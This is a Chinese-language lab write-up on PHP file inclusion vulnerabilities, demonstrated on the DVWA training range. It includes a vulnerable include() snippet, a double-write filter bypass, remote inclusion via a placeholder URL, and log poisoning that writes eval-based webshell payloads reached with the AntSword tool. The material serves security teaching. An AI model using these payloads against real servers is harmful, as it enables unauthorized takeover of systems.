目录
文件包含漏洞
文件包含的定义
在PHP中,可以通过文件包含函数动态加载本地或者远程的另一个文件,把其中的代码当成PHP代码进行解析执行。 在网站开发中,通过包含数据库配置文件,就不用每个需要查询数据库的PHP文件都写一次数据库连接信息,通过包含foot.php和head.php等网站头部和尾部模板文件,课快速开发出版面相似的页面,后期维护修改更加容易。
文件包含的漏洞原理
文件包含主要使用以下四个函数 require():如果在包含文件时出现错误,require 会生成致命错误(E_COMPILE_ERROR)并停止脚本。 include():如果在包含文件时出现错误,include 只生成警告(E_WARNING),并且脚本会继续。 require_once()和include_once():只包含一次,防止重复包含文件。 没有对文件包含函数加载的参数进行严格的控制,导致包含了预期之外的文件,执行了预期之外的代码: <?php include($_GET['file']); ?>
伪协议
file://-----本地文件包含 http://------访问http网址(远程访问) http(s)://:访问 http(s) 网址 ftp://-------访问FTP ftp(s)://:访问 FTP(s) URLs 允许通过 FTP 读取存在的文件,以及创建新文件。 php:// ------- 访问各个输入/输出流(I/O) PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。 zlib:// ----- 压缩流 data:// ----- 数据 .....
php://伪协议
靶场练习
靶场:DVWA
注意: 如果显示allow_url_inlude没有开启,就在以下路径,修改对应自己网站php版本,里面的php.ini文件,将allow_url_inlude=Off改成allow_url_inlude=ON,然后重新打开即可
LOW模式:
可直接包含本地的文件
查看源码,发现没有任何的过滤
也可以远程文件包含:
page=http://ip/可执行脚本
Medium模式:
在此模式下,包含本地的文件,还是依旧可以的:
(使用本地文件包含,也可通过)
包含远程文件,出现错误:
查看源代码:
将http:// 和 https://替换成空字符串 将../ 和 ..\ 替换成了空字符串 我们可以采取双写的方式进行绕过
page=hhttp://ttp://ip/可执行脚本
High模式:
本地包含:
远程文件包含:
尝试双写:
以上方式,均尝试失败,接下来查看源码
查看源码我们发现,检查page头部是否有file参数信息,如果没有则找不到文件 所以我们再访问时,在page后面加上file参数即可---本地文件包含
包含日志与报错文件
正常的包含日志,可以访问,查看
和源文件对比:
一致,说明没有错误
在网址中,输入错误的信息,该信息会被日志记录 通过错误的信息,在日志中保留,使用文件包含并利用php木马,进行攻击(包含此日志文件)
去查看日志信息
接下来我们,抓包进行修改,再次查看
修改时要注意,将空格换成+号,否则可能还会遇到编码问题,然后放包即可
再次查看日志信息
这次没有被编码
使用文件包含,包含此日志文件
日志中的php语句被解析执行
通过日志文件当中的错误信息,通过文件包含去获取服务器的权限:
正常情况下,这种方式我们无法通过第三方工具进行连接,获取服务器的权限,那么我们就需要来创建一个文件,并且文件中写入木马,然后通过第三方工具进行连接,获取权限 还是同样的方式,不同的是这次换成php当中创建文件并写入文件的语句 <?php fwrite(fopen("cmd.php","w"),'<?php @eval($_POST["SHELL"]);?>');?> 或 <?php fwrite(fopen("cmd.php","w"),'<?php @eval($_POST[123]);?>');?> 或 <?php fwrite(fopen("CMD.php","w"),'<?php @eval($_POST["cmd"]);?>');?> 如果还是有问题,尝试双引号换成单引号,如果参数不能被识别或者还是报错,还被编码,就换成数字。
还是抓包,修改数据包的信息,然后放包,去查看日志文件的信息
查看日志
文件包含,包含该日志文件
去目录下查看是否php语句被执行,是否创建了文件,是否写入了木马
访问该木马文件,看是否能被正常的解析
使用中国蚁剑进行连接
连接中国蚁剑
添加,获取服务器权限成功